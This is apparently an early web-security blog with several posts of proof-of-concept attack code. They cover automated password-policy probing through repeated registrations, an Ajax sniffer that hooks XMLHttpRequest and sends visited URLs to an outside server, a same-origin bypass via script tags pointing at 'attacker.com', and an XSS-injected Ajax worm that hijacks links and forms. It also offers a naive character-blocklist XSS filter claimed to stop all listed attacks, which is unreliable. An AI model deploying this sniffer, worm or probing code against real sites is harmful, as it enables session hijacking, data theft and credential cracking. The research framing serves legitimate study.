Tuesday, January 30, 2007

Target password cracking - code explained

This is the explanation of the source code from my last posting about targeted password cracking - Proof of concept


---- Start Code -----


/******

Global variables defined in this module

  • ajax_request - To store the XMLHttpRequest object.
    autofill - This string will be used to send variations of password to detect the password policy and what other characters are allowed.
  • success_response - This string stores the response of the first successful password attempt.
  • post_url - This string is to store the parameter string for the attacks.
  • correct_password - This string stores the correct password used in the successful attempt.
  • chars_to_check - This string contains the characters we are testing if they are allowed by the application. As you can see here it is a very limited string but we can add as many characters to it.
  • username - Store the username of the successful registration. This username is further added with a number to create another unique username.
  • counter - This is a number which gets added to the username to create another unique username. A better approach would be to create a Random number generator.
******/

var ajax_request = false;
var autofill = "";
var success_response = "";
var post_url = "";
var correct_password = "";
var chars_to_check = "@<>/#$!()";
var username = "";
var counter = 46532;


/******

Function create_object()

This function creates a XMLHttpRequest object if it is firefox or ActiveXObject if IE6. Currently this module is tested in Firefox 2.0 and IE6. To learn more on XMLHttpRequest, please read the tutorials on Ajax.

******/


function create_object() {

if(window.ActiveXObject) {
var versions = ["Msxml2.XMLHTTP.7.0", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.5.0", "Msxml2.XMLHTTP.4.0", "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP", "Microsoft.XMLHTTP"];

for (var i = 0; i < versions.length ; i++) {
try {
ajax_request = new ActiveXObject(versions[i]);

if (ajax_request) {
break;
}
}catch (objException) {
// trap; try next one
} ;
}
}

if (!ajax_request && typeof XMLHttpRequest != 'undefined') {
ajax_request = new XMLHttpRequest ();
}

}




/********

Function post_form(url, parameters)
url - The url where the form is submitted. This comes from the action attribute of the form.
parameters - This is the form parameters in a string format.

This function posts the form using XMLHttpRequest instead of the browser submitting it. This module assumes the first registration attempt is successful. Store the successful response page in success_response variable. This will be used to verify whether the subsequent attack response was successful. The server response is then updated in the DOM and the run_attack function called which checks for the password policy and the characters that are filtered.

******/


function post_form(url, parameters) {

post_url = url;
ajax_request.open("POST", url, false);
ajax_request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");

ajax_request.send(parameters);

if(ajax_request.readyState == 4 && ajax_request.status == 200) {

var response_text = ajax_request.responseText;
success_response = response_text;
document.body.innerHTML = response_text;
}

run_attack();
}



/********

Function submit_form(form_id)
form_id - The id of the form.

This function gathers all the form elements and initializes some global variables which are used in the subsequent automated registration attempts.

  1. Get the action attribute and store it in the form_action.
  2. Get all the form elements and store them in the string. If the form element type is password then store it in correct_password String.
  3. Create another form string to be used for fingerprinting the password policy. For the element types which are password replace them with ??.
    NOTE: I am using ?? as a placeholder for passwords. You can use other characters too.
  4. We will store the above form string in post_url where the future passwords can be applied by replacing ??.
  5. Store the correct password in the correct_password variable.
  6. Store the user name entered in the form in username variable. This will be required to replace with a new username everytime the password is successful.
  7. Call the post_form function to submit it to the server.

*******/


function submit_form(form_id)
{
var form = document.getElementById(form_id);
var form_action = form.action;

var params = "";

for(var i = 0; i < form.length; i++) {

params += form.elements[i].name + "=" + form.elements[i].value;

if(form.elements[i].type == 'password') {
autofill += form.elements[i].name + "=" + "??";
correct_password = form.elements[i].value;
}

else {

autofill += form.elements[i].name + "=" + form.elements[i].value;

if(form.elements[i].name == 'username')
username = form.elements[i].value;

}

if(i+1 < form.length) {
autofill += "&";
params += "&";
}
}

post_form(form_action, params);
}



/*******

Function create_attack_string(passwd)
passwd - The password which we want to test against the victim server.

  1. Create the new username by appending some numerics to it to make it unique. We are trying to avoid the duplicate usernames.
  2. Replace the ?? which we created as placeholders for password by the passwd passed in the parameter. replaceAll calls the prototype function of String object defined towards the end of this file.
  3. Return the newly created form parameter string to be submitted to the victim server.

*******/


function create_attack_string(passwd)
{
var newString = autofill.replace(username, getUserName());
newString = newString.replaceAll("??", passwd);
return post_attacker(newString);
}



/*******

Function post_attacker(parameters)
parameters - the form parameter string which will be submitted to register username / password on the victim server.

This function submits the attack parameters and checks if the response from the server is a success by matching to the success_response it stored from a successful response the first time. If the response from the server matches the success response we stored from our original successful registration attempt then return true else return false.

*******/


function post_attacker(parameters) {
ajax_request.open("POST", post_url, false);
ajax_request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
ajax_request.send(parameters);

if(ajax_request.readyState == 4 && ajax_request.status == 200) {

var response_text = ajax_request.responseText;

if(response_text == success_response)
return 'true';
else
return 'false';
}
}



/*******

Function getUserName()

This is a temporary function considering we are just using username and password for the Proof of concept. If there are more then just username and password then we want to store all of them in an array or some better approach. This is just for the PoC. I am just adding some integer value to the username for this proof of concept. A better approach would be to create a random number or string generator.

********/


function getUserName()
{
return username + counter++;
}



/********

Function findMinChars()

This function checks for the minimum number of characters allowed in a password. It starts with the number of characters in the successful password and work backwards maintaining the starting position for capital letter and ending position. Assuming the first character of the successful password was a capital letter and the last character a digit, the following routine removes one character from the second position of the original successful password and keeps removing one character until the minimum password length required is met which is checked by the response from the server. If the response is same as it was when the registration was successful then this attempt was successful too.

********/


function findMinChars()
{
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML = "Checking minimum password length.....";

for(var i = correct_password.length ; i >= 0; i--) {

var passwd = correct_password.substring(0,1) + correct_password.substring(correct_password.length - (i - 2), correct_password.length);
var success = create_attack_string(passwd);

if(success == 'true') {

attack_div.innerHTML += 'Minimum Password Length Allowed : ' + (i-1) + ' characters.';
}
}
}



/********
Function findCharsNotAllowed()

Check the characters from the chars_to_check by adding one illegal character at a time to the password used at the time of successful registration. If successful then that character is allowed and if failure then character is not allowed.

********/


function findCharsNotAllowed()
{
var attack_div = document.getElementById('attack_string');

for(var j = 0; j < chars_to_check.length; j++) {
var illegal_character = chars_to_check.charAt(j);
attack_div.innerHTML += 'Checking if character is allowed : ' + illegal_character + '...';
var newPassword = correct_password + illegal_character;
var newString = autofill.replaceAll("??", newPassword);
attack_div.innerHTML += 'Sending attack string : ' + newString + '....';
var success = post_attacker(newString);

attack_div.innerHTML += 'Character ' + illegal_character + ' allowed : ' + success;
}
}



/********

Function isDigitRequired

Check for all the digits in the password used for successful registration and replace them with an alphabet. In this proof of concept i am replacing it with 'a'. If the attempt to register is successful that means the digit is not compulsory. If failed then it is. If a digit is required then we can further check whether if it is required at the beginning of a password or towards the end.

********/


function isDigitRequired()
{
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML += 'Checking if a digit is required.....';
var passwd = correct_password;

for(var i = 0; i < passwd.length ; i++)
{

if(passwd.charAt(i) > '0' && passwd.charAt(i) < '9')

passwd = passwd.substring(0,i) + 'a' + passwd.substring(i+1, passwd.length);

}

var success = create_attack_string(passwd);

if(success == 'true')
attack_div.innerHTML += 'Should contain digit : false';
else
attack_div.innerHTML += 'Should contain digit : true';
}


/********

Function isStartingWithCapitalLetter()

This method moves the starting character which is a capital letter to other positions in the password and checks whether the registration was successful. If successful that means the the password need not start with a capital letter.

********/


function isStartingWithCapitalLetter()
{
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML += 'Checking if a password has to start with a capital letter......';
var passwd = correct_password.substring(0,1).toLowerCase() + correct_password.substring(1,correct_password.length);
var success = create_attack_string(passwd);

if(success == 'true')
attack_div.innerHTML += 'First letter to be a capital letter : false';
else
attack_div.innerHTML += 'First letter to be a capital letter : true';
}


/********

Function isEndingWithDigit()

This method adds an alphabet to the end of the password and checks if it registers with this password. If it does then the password does not have to end with a digit. If it fails then it should end with a digit. Similarly we can check if a digit is required at all in the password.

********/


function isEndingWithDigit()
{
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML += 'Checking if a password has to end with a digit......
';
var passwd = correct_password + "a";
var success = create_attack_string(passwd);

if(success == 'true')
attack_div.innerHTML += 'Last letter has to be a digit : false
';
else
attack_div.innerHTML += 'Last letter has to be a digit : true
';
}


/********

Function run_attack()

This function is the starting point of the attack. This function is called after the successful registration in the beginning and then onwards tries different combinations to identify what characters are not allowed in a password.

********/


function run_attack()
{
//Find the minimum character required for the password.
findMinChars();

//Find if the password has to start with a capital letter.
isStartingWithCapitalLetter();

//Find if the digits are required
isDigitRequired();

//Find if it has to end with a digit.
isEndingWithDigit();

//Find if the characters as mentioned in the chars_to_check String are not allowed.
findCharsNotAllowed();

}


/********

String.prototype.replaceAll

This function replaces all instances of the given substring with the target string. This function was copied from Ask Ben website. Details of the function is provided on his website in case you want to understand. The url is mentioned below
http://www.bennadel.com/blog/142-Ask-Ben-Javascript-String-Replace-Method.htm

********/

String.prototype.replaceAll = function(
strTarget, // The substring you want to replace
strSubString // The string you want to replace in.
)
{
var strText = this;
var intIndexOfMatch = strText.indexOf( strTarget );

// Keep looping while an instance of the target string still exists in the string.
while (intIndexOfMatch != -1)
{

// Relace out the current instance.
strText = strText.replace( strTarget, strSubString )

// Get the index of any next matching substring.
intIndexOfMatch = strText.indexOf( strTarget );
}

// Return the updated string with ALL the target strings replaced out with the new substring.
return( strText );
}

-----End Code ----

There are many improvements that can be done to this program. This is just a proof of concept and I was too lazy to do too much. If you get a chance to improve upon this, please do let me know. I also have some ideas and maybe we can discuss about it.

Download the complete source code or view the working demo at Attack Labs

Targeted password cracking - Proof of concept

This is a proof of concept to exploit the registration functionality of a website to build targeted password cracking engine. I am using Ajax to automatically detect the parameters which are submitted for a successful password and automatically resubmitting the modified passwords. Of course other technologies can be used for the same.



I think I can safely assume that by now we all understand the need of a strong password handling mechanism, which starts from a strong password policy. In the password policy we define the rules for the password selected by the user to login to their account. The idea is to make them stronger so that they are not easily guessed and more importantly, the password cracking tools cannot break them easily. Some websites have stricter password policy as compared to others but more often then not, the website owners also care about the customers as stronger passwords are difficult to remember. The stronger the password is, the chances are that the user might forget it especially if it is not something you use every day. Many companies also define the password policy keeping in mind many criteria, in which two of the main criteria are:

1. From the support perspective, password reset call volume might increase. (Not everyone has a online password reset functionality)
2. Inconvenience to the user.

There could be more depending on the company but these two are often brought up by the product team.

With the increase in SQL injection attack and XSS attack, many security professionals implement character filtering on anything that comes from the client. It could be blacklist character filtering (do not allow potentially harmful characters) or whitelist character filtering (only allow valid characters) depending on how a security professional or architect wants to approach it. For the sake of the argument let’s say the architects apply these filters globally which means these filters are implemented for passwords as well, further restricting the character set for the password selection. This is where we have to be extremely careful. If an application, filters characters for password fields as well on top of the security policy then you are limiting the character set for passwords and this could be reverse engineered to make intelligent password cracking tools.

Let’s take a look at how it can be done and what we can do to protect from it. To start with, we need to find out the following:

1. The minimum number of characters that are allowed for a password field?
2. Should it start or end with a capital letter?
3. The minimum number of capital letters required?
4. The minimum number of digits required?
5. Should it start or end with a digit?
6. What characters are not allowed (for example “<,>,#,&,\” etc)?

If we can find the answers to the above mentioned question then we can fine tune the password cracking tool to follow those rules as a result the number of permutations and combinations required will be less.


If we start by successfully registering a password on a website and then reverse engineer it to find what is allowed and what is not allowed. For example, let’s say we can successfully register with a password which contains 8 characters and starts with a capital letter and ends with a numeric (Say “Abcdefg1”) and rest all the characters are lower case alphabets. Assuming the registration is successful, we’ll start working backwards and find out what characters are filtered and what characters are required in what sequence.

1. Remove one character from the middle of the password keeping the first character (Capital letter) and the last character (Digit) intact. Use this password to register and keep reducing by one character from the middle until you get error.

2. Register with a password with one character removed from the middle of the original password, keeping the first character (Capital letter) and the last character (Digit) intact. Keep reducing by one character but keep the capital letter and number until it gives error. This way we can determine the minimum length of the password for the application. For example, “Abcdef1”, “Abcde1”, “Abcd1”, etc

3. Move the capital letter from the beginning to some other part of the password keeping the number and minimum number of characters allowed and see if it gives error. This will tell you if the password requires you to start with a capital letter or you can have it anywhere within the password. For example, “aBcdefg1”.

4. Select a password with minimum number of characters allowed and no capital letter and one numeric. If it doesn’t give any error that means capital numbers are not allowed. For example, “abcdefg1”

5. Select a password with no numeric character with one capital letter into it. If it doesn’t give any error then numeric is optional.

6. Replace a non numeric and non capital letter of the password with a character from a list of other characters (for example, %, ~, !, @, #, $, %, ^, &, *, <, > and so on). Replace the character one at a time and check if you get any error. If you get an error that means the character is not allowed.

By performing the above mentioned steps you can find out what characters are not allowed by the application and hence you can remove those characters in your password cracking tool and further set the rule for the characters allowed in certain order.

Now, if the application is filtering for blacklisted characters in password as well, then the list of characters not allowed will grow and will be favourable for the password cracking tool. By any chance if the application is doing whitelist filtering for passwords as well, then the characters actually allowed for passwords would be very limited and hence make it extremely easy for the password cracking tools.

The password is selected when a user is trying to register to the site. We don’t usually lockout the registration page after any number of unsuccessful attempts as we believe the user is trying to find the correct password combination. Some of the websites on their registration pages have captcha to ensure protection from bots but not many sites have that.

We can take certain steps to prevent us from this type of attack
Registration page

1. Implement a captcha. (though this is a tough one as it is a great inconvenience to the user but it does protects from automated attacks)

2. If we don’t filter the characters then there is a possibility of SQL injection attack. For that, we can hash the password before inserting into the SQL to store in the database (That is the general trend these days anyway) but we should be selective about what we filter and what we do not filter.

3. Put a delay of few seconds in every subsequent attempt. This is not a full proof solution but it definitely slow down the automated attacks.

4. Encourage the user to select stronger passwords by displaying how weak their password is on the registration page even though it is not enforced by a password policy.

Password page

1. Implement password lockouts. Reset the password after lockouts. The new password should not be same as the last password (at least)

2. Be selective about what you filter for the passwords.

3. Put a delay of few seconds in every subsequent attempt.

You can see the demo and download the code from Attack Labs


Explanation of the code can be viewed here

Sunday, January 28, 2007

Sample Shopcart application

In my experience i have seen a lot of developers being clueless about what application security is and how they unknowingly left a door open for the bad guys in their application. They don't have much idea about how application are open to these vulnerabililties (like XSS, SQL injection, session hijacking, etc), how they are exploited and what changes they need to make in their coding style to minimize these vulnerabilities in their application.

Shopcart application is a sample application which is developed to educate developers to understand how an application can be exploited and what kind of damage they can do.

This application does not have any security mechanism in it. The idea is for developers to learn how and what can be exploited if a security mechanism is not in place. Soon I will put together an application with proper security controls for the comparison.

The application can be accessed at http://www.attacklabs.com/shopcart/

Happy learning.

Tuesday, January 23, 2007

XSS filter to protect from XSS attacks

Here are the excerpts from the chilling effect

Grossman, who founded his own research company, WhiteHat, claims XSS vulnerabilities can be found in 70 percent of websites. RSnake goes further. "I know Jeremiah says seven of 10. I'd say there's only one in 30 I come across where the XSS isn't totally obvious. I don't know of a company I couldn't break into [using XSS]."
If you apply Grossman's number to a recent Netcraft survey, which estimated that there are close to 100 million websites, you've got 70 million sites with XSS vulnerabilities. Repairing them one-off, two-off, 200,000-off is spitting in the proverbial ocean. Even if you've disclosed, you've done very little to reduce the overall risk of exploit. "Logistically, there's no way to disclose this stuff to all the interested parties," Grossman says. "I used to think it was my moral professional duty to report every vulnerability, but it would take up my whole day."


If we can put an XSS filter in the framework (for example, as a servlet filter in the Java EE) then it would make it a lot easier for the developers to not worry about all the places where they are accepting the input from the client browser. Instead they can just do a request.getParameter() and the servlet filter would do all the filtering for XSS characters with each and every request which comes in to the JSP pages or servlets.

I have created a xss filter which can be tested at http://www.attacklabs.com/xssfilter/. It filters only 8 characters but it protects from all the possible attack strings mentioned in the Rsnake’s cheat sheet. If you can find an xss attack which can bypass the filter, then please do submit it here or email it to me at anurag.agarwal@yahoo.com

Please bear in mind that this filter is not the right choice if you want your users to input HTML tags or urls.

Source Code

import java.io.*;
import java.net.*;

import javax.servlet.*;
import javax.servlet.http.*;

/**
*
* @author anurag agarwal
* @version 1.0
*/
public class XSSFilter extends HttpServlet {
private String[] filterChars = {"<", ">", "<", ">", "&#", "\"", "\\", "0x"};
private String[] replacementChars = {" ", " ", " ", " ", "#", "'", "/", "0 x"};

protected void processRequest(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();

String html = request.getParameter("html");
out.println("Here is the filtered output of the html you submitted.");

out.println(filterRequest(html));

out.close();
}

private String filterRequest(String param) {
String value = param;

if( param!=null) {

for(int i = 0; i < filterChars.length; i++) {
value = filterCharacters(filterChars[i], replacementChars[i], value);
}

}

return value;

}

private String filterCharacters(String originalChar, String newChar, String param)
{
StringBuffer sb = new StringBuffer(param);

for(int position = param.toLowerCase().indexOf(originalChar); position >= 0; ) {
sb.replace(position, position + originalChar.length(), newChar);
param = sb.toString();
position = param.toLowerCase().indexOf(originalChar);
}

return sb.toString();
}

protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
processRequest(request, response);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
processRequest(request, response);
}
}

Wednesday, January 17, 2007

Ajax Sniffer - Prrof of concept

NOTE - The original idea was discussed by Stefano Di Paola in his paper Subverting Ajax. I have simply created a working proof of concept of ajax based sniffer.

I have taken the same files as I demonstrated in ajax worm PoC. You can see the demo at http://www.attacklabs.com

Let’s take a look at how to create an ajax based sniffer.

In order to create a sniffer we need to do two things
1. Override the open and send function of XMLHttpRequest using javascript inheritance
2. Send the data to a program on the other domain

Override the open and send function of XMLHttpRequest using javascript inheritance

What is inheritance?


In object-oriented programming, inheritance is a way to form new classes (subclasses) using classes that have already been defined (super classes). The new classes, also known as inherited classes, take over attributes and behavior of pre-existing classes, which are referred to as base classes (or super classes). It is intended to help reuse of existing code with little or no modification. Many object-oriented programming languages permit a class or object to replace the implementation of a behavior—that it has inherited. This process is usually called overriding. Another reason to use inheritance is to provide additional data or behavior features. This is often used when incorporating new features into the super class is either not possible or not appropriate.

Javascript Prototype feature and inheritance

Although JavaScript is a scripting language, it supports object-oriented programming. There may be no classes or instances but it has objects, prototypes and implicit inheritance. To find out more about inheritance in Javascript you can look at the links in the references section. The example below shows how to extend an object in javascript to add more function to it using prototype feature


//Define a class in javascript
function MainClass()
{
alert('this is the main class');
}

//Create an object
var newClass = new MainClass();

//Add a new function to the existing class ‘MainClass’
MainClass.prototype.newFunction = function()
{
alert('this is the new function');
}

//Call the new function
newClass.newFunction();


As you can see, using prototype we can add new functions to the existing class or override functionality of the existing function.

Overriding open function of XMLHttpRequest

/*Create a new function called myOpen. Call the sniffing function from it and then pass the control to the original open function of XMLHttpRequest object. */



var myOpen = function(method, url, async, user, password) {
send_to_attacker("url="+url);
this.originalOpen(method, url, async, user, password);
}

/*Store the reference to the original open function of XMLHttpRequest object. */


XMLHttpRequest.prototype.originalOpen = XMLHttpRequest.prototype.open;


/*Assign the newly created myOpen function to the original open function of XMLHttpRequest. Now whenever a call to open function is made, it will invoke myOpen function first and from within myOpen the original open function is invoked to let XMLHttpRequest perform its function. */



XMLHttpRequest.prototype.open = myOpen;


Overriding send function of XMLHttpRequest

/* Create a new function called mySend. This function overrides the original send function of XMLHttpRequest object and calls it towards the end. */



var mySend = function(a) {
var xhr = this;

/* This function would get called when the onload event is called. */


var onload = function() {
//alert(xhr.responseText);
};

/* This function is called if there is an error when the onerror event is called. */


var onerror = function() {
alert(xhr.status);
};

/* Add the load and error events to this function. */


xhr.addEventListener("load", onload, false);
xhr.addEventListener("error", onerror, false);

/* Call the original send function. */

xhr.originalSend(a);
}

/* Store the original function in another variable and call it from within the overriding function. */


XMLHttpRequest.prototype.originalSend = XMLHttpRequest.prototype.send;

/* Assign the newly created mySend function to the original open function of XMLHttpRequest. Now whenever a call to send function is made, it will invoke mySend function first and from within mySend the original send function is invoked to let XMLHttpRequest object perform its function. */



XMLHttpRequest.prototype.send = mySend;


/* Adding a new function to the XMLHttpRequest object. It can be called using ajax_request.newMethod(); */



XMLHttpRequest.prototype.newMethod = function() {
alert("New function added to XMLHttpRequest");
}


Send the data to a program on the other domain

This function sends the data to a servlet on an external domain. To read the proof of concept of how to bypass same origin barrier of javascript read here and view the demo at http://www.attacklabs.com


function send_to_attacker(param_url)
{
var attack_script = "http://www.myappsecurity.com:8084/Mail_List/sniffer?" + param_url;

var script = document.createElement('script');
script.src = attack_script;
script.type = 'text/javascript';
document.body.appendChild(script);

//Remove the script element after it has been executed as it is no longer required.
document.body.removeChild(script);
}


You can see the demo at http://www.attacklabs.com

You can download the source code at http://www.attacklabs.com/download/sniffer.rar

Wednesday, January 10, 2007

Breaking the Same Origin barrier of Javascript

NOTE: I dont want javascript to be executed so in the sample code below, you will see that i will remove the <> tags from the script element.

Same Origin Policy of browsers

Often times we have heard that Javascript cannot send requests to another domain. That is because of the same origin policy implemented in the browsers. The same origin policy of the browsers prevents document or script loading from a different domain to manipulate the document loaded from current domain, without which javascript from a malicious domain could do any number of adverse things such as log keystrokes, steal cookies, modify your data, or even insert unwanted transactions while you do your online banking, etc. Hence, most of the current browsers implement the same origin policy on nearly every properties and methods available to javascript. The only exception to the same origin policy is if you are working with documents loaded from any of the subdomains of the current domain. By setting the domain property of the document, scripts residing on subdomain are allowed access to the scripts on the main domain. For example, the script from test.domain.com could set the domain property to “domain.com”. This way the script passes the origin checks when accessing windows loaded from “domain.com”. However, the scripts from “test.domain.com” could not set the domain property to “anotherdomain.com”.

When a script tries to access properties or methods in a different window – for example, using the handle returned by window.open() – the browser performs a same origin check on the URLs of the document in question. If the URLs of the document pass this check, the property can be accessed, and if they don’t then an error is thrown. The same origin check consists of verifying that the URL of the document in the target window has the same origin as the document containing the calling script.

External Javascript from Java Servlets

One of the lesser known sides of external JavaScript is the ability to reference a server side program(CGI, PHP or Servlets) instead of the familiar .js file. It is kinda interesting since a client side script interacting with a server side program is not considered safe and is usually not allowed from within the browser but apparently a script can be dynamically generated and loaded, if referenced in src attribute of the script tag, while the html page is being loaded. Using the src attribute of the script tag, we can call an external javascript, we can also call a server side program to dynamically generate a javascript. For example

script type="text/javascript" src="myservlet"

Where "myservlet" is the server side program and could be an absolute path like “http://www.myserver.com/myservlet” or a relative path like “myservlet” instead of the usual .js file. Interestingly you can even pass parameters to the servlet through the URL string. For example

script type="text/javascript" src="http://attacker.com/myservlet?name=myname"

Now the servlet can be invoked and process parameters and return the result back. There is a limitation however. It can only return Javascript code. You also have to set the content type as “application/x-javascript”. Just think of it as returning javascript code instead of html code. But there is a workaround to this limitation. Just like while returning html, if you had Javascript code, you would encapsulate in script tag, here, if you have to return html code, you can always return document .body .innerHTML = ‘html code’ or document .write(‘html code’). So your typical servlet would look like


public class myservlet
{
public void doGet(HttpServletRequest request, HttpServletResponse response)
{
response.setContentType(“application/x-javascript”);
PrintWriter out = response.getWriter();
String name = request.getParameter(“name”);
out.println(“document.body.innerHTML = ‘Welcome “ + name + “’;”);
out.close();
}
}


A JavaScript header is sent at the very beginning to inform the browser that it is receiving a JavaScript file. The final output of the servlet needs to be a valid Javascript file and must conform to Javascript syntax, servlet outputs a valid javascript code which replaces the content of the html page and displays “Welcome anurag”.
The other limitation, however, is that it cannot have an interactive session with the server side program. While loading the page, when the browser comes across the script tag, it goes to the URL mentioned in the src attribute and validates the incoming data as a valid javascript and executes it. The script tag is only executed once and after the entire page is loaded, it cannot call the server side program again.

Breaking the same origin barrier using external Javascript

As we discussed above, once the entire html page is loaded and all the Javascript files are executed, there can be no interaction with the server anymore since all the script tags are executed by the browser. But wait a minute, what about DHTML? We can dynamically create a script element and set a server side program in the src attribute and VIOLA, we have just breached the same domain barrier. Let’s take a look at the code.

Code sample
Append the following Javascript code at the victim browser

function loadscript()
{
var attack_script = document.createElement('script');
attack_script.id = 'myscript';
attack_script.src = 'http://attacker.com/myservlet'; //Replace this url with your servlet/cgi/php url.
attack_script.type = 'text/javascript';
document.body.appendChild(attack_script);
}

Create the servlet at the attacker server

public class myservlet
{
public void doGet(HttpServletRequest request, HttpServletResponse response)
{
response.setContentType(“application/x-javascript”);
PrintWriter out = response.getWriter();
String ip = request.getRemoteAddr();
out.println("document.body.innerHTML='Your IP address is : " + ip + "';");
out.close();
}
}

Demo

You can view the demo here (http://www.attacklabs.com)

Download Code

You can download the sample code here (http://www.attacklabs.com)

References:-

Firefox same origin policy
http://www.mozilla.org/projects/security/components/same-origin.html

Same Origin Policy - Wikipedia
http://en.wikipedia.org/wiki/Same_origin_policy

Tuesday, December 12, 2006

Did you SEEC it yet?

I am pleased to announce SEEC - An application security search engine. This search engine is powered by google and is application security specific. It is still in beta release. You can access it here - SEEC

Why SEEC?
well, SEC is short for security and SEEK means to find, hence SEEC (find within security)
Please do leave your comments and feedback on what your thoughts are on SEEC.


Also, few weeks ago i released AttackLabs - a website to display proof of concepts of various web application attacks. It has two PoC to begin with and i am currently working with jeremiah to display all his PoC on the site. If you wish to display your Proof of concepts on the site, then please feel free to submit your attack on www.attacklabs.com or you can email me at anurag.agarwal@yahoo.com

Wednesday, December 06, 2006

Survey on Application Security Vulnerability Assessment process

Today jeremiah posted the third round of his monthly survey on web application security professionals.
http://jeremiahgrossman.blogspot.com/2006/12/web-application-security-professionals.html

The results of the first two are available here

[1] Nov. 2006
http://jeremiahgrossman.blogspot.com/2006/11/web-application-security-professionals.html

[2] Oct. 2006
http://jeremiahgrossman.blogspot.com/2006/10/web-application-security-professionals.html

This survey would help us assess the current state of vulnerability assessment in our software development life cycle, of course depending on the participation. I would encourage everyone in the applications security field to take this survey. The more the particpation, the better the picture we get out of it. If we have enough data then maybe we can see a deviation report as well.

Sunday, December 03, 2006

Ajax Worm - Proof of Concept

Few weeks ago I demonstrated a Proof of Concept of how easy it is to create an Ajax worm which hijacks a user session and redirects all the user activity through itself. The idea is simply to be able to control and monitor the user activity on a website by inserting the malicious script into the visiting user's session using XSS. I have been advocating for some time now, the extent of damage that can be done using Ajax’s XMLHttpRequest(XHR) object. All you need is a website vulnerable to XSS attack and an attacker can inject a small javascript file which can take control of the user as long as he is on that site and in some cases even after he has left the website. This Proof of Concept is limited to the worm propagating to a single site as Ajax cannot make cross domain requests just yet but it is under consideration. If you want cross domain request you may want to consider FlashXMLHttpRequest object.

Advanced javascript and XML also known as Ajax is a relatively newer technology and is already gaining a lot of momentum in the industry. Ajax by itself may not open any new vulnerabilities but it does increase the attack surface and in combination with some vulnerabilities like cross site scripting can be very devastating by providing stealth techniques to it. In traditional web browsing, when a user clicks on a link or submits a form, the request goes to the server and the server responds back with the response and a new page is loaded on the screen and a new url is displayed on the location bar (unless it’s a dynamic page and is submitting to itself). In either case, a user can see a browser screen getting refreshed and a new page getting loaded on the screen as the request and response were handled by the browser. With the use of Ajax, the same request and response can be handled by the application. So now when a user clicks on a link or submits a form, using XHR object it can all be done behind the scenes by the web application and the page doesn’t have to refresh like it used to in the traditional way. The url on the location bar remains the same even though we may be loading a different url altogether. Though, ajax has helped immensely with the applications trying to provide a better user experience and a rich user interface, but at the same time it has opened a world of opportunities for the bad guys. Now an attacker can do a lot more damage then it usually would have by exploiting vulnerabilities in your application as. For example, if someone can exploit a cross site scripting vulnerability in your application, with the help of ajax they can virtually control your application.

In this paper, I will explain, how easy it is to hijack a website with the help of ajax by inserting a script which propagates to every page you visit on that website.


When the script is injected into a vulnerable site, create_object, collect_links and collect_forms method from worm.js script are called.

//Create an ajax object
create_object creates a cross browser connection to the server using ajax. For IE 5 and 6 we use ActiveXObject and IE7 and firefox we use XMLHttpRequest. All the ajax communications are done using this object. The XMLHttpRequest object is an interface exposed by a scripting engine that allows scripts to perform HTTP client functionality, such as submitting form data or loading data from a server. The name of the object is XMLHttpRequest for compatibility with the web as it doesn't make much sense otherwise. It supports the transport of other data formats in addition to XML, some implementations support other protocols besides HTTP (that functionality is not covered in this specification though) and the API supports sending data as well.

function create_object() {
// This is a strip down version of what I am using in the actual script to demonstrate how to create a XHR object.
if(window.ActiveXObject) {
ajax_request = new ActiveXObject(MSXML2.XMLHTTP);
}

if (!ajax_request && typeof XMLHttpRequest != 'undefined') {
ajax_request = new XMLHttpRequest ();
}
}

//Code to capture all the links
This is where we capture all the links in a website. If it is an internal link then we replace it with our javascript function, so now whenever a user clicks on any of the link, browser instead of opening that page, calls the javascript function and which in turn silently communicates with the server in the background, fetches the link and loads the page in the memory and while doing so, it captures all the links and forms of the newly loaded page.

function collect_links()
{
//Collect all the link in the html page.
var all_links = document.getElementsByTagName("a");

//Go through all the links one by one.
for(var i = 0; i < all_links.length; i++) {

//Replace all the links with the javascript function.
all_links[i].href="javascript:loadUrl('" + all_links[i].href + "');";
}
}


//Code to capture all the forms.
This is where we capture all the forms in a web page. collect_forms function does the same thing as collect_links does except for it just looks for all the forms and replaces their action attribute with its javascript function. It also inserts or replaces (if already exists) the id of the form with the actual url so that the worm script can identify them at the time of submission. As you will see in the last line here that the action attribute is replaced by the submit_form function of the worm. So now when the user will try to submit any form, instead of browser submitting the form to the server, the submit_form function will be called.

function collect_forms()
{
//Collect all the forms in the html page.
var all_forms = document.getElementsByTagName("form");

//Go through all the forms one by one.
for(var i = 0; i < all_forms.length; i++) {
//Replace the id of the form with the original submit url.
all_forms[i].id = all_forms[i].action;

//Replace the submit url of the page with the javascript function.
all_forms[i].action="javascript:submit_form('" + all_forms[i].action + "');";
}
}


//Code to load the requested url dynamically
loadUrl function takes the url as a parameter and connects to the server and requests for that url. The server treats it as any other request it would have received from the client and sends the file with that url. Normally it is the browser who receives the file and displays it in the browser, but with Ajax it is our XHR object which receives the file and updates the client screen with the new html code, then it calls collect_links and collect_forms function to hijack the links and forms in the new html code. This way, the worm script is always in control of all the request/response made from the client browser to the server.

function loadUrl(url)
{
//Connect to the server and request for that url.
ajax_request.open("GET", url, false);
ajax_request.send(null);

//Look for the request state and status. Status = 200 means the request was successful
if(ajax_request.status == 200) {
//Load the response from the server into the document’s body. This will dynamically
change the content of the page but the url on the address bar of the browser will
remain the same. So, even though the new url is loaded, the location bar of browser
will show the url of the original page.
var response_text = ajax_request.responseText;
document.body.innerHTML = response_text;

//Hijack all the links and forms in the new html page.
collect_links();
collect_forms();
}
}


//Code to create the form parameter string
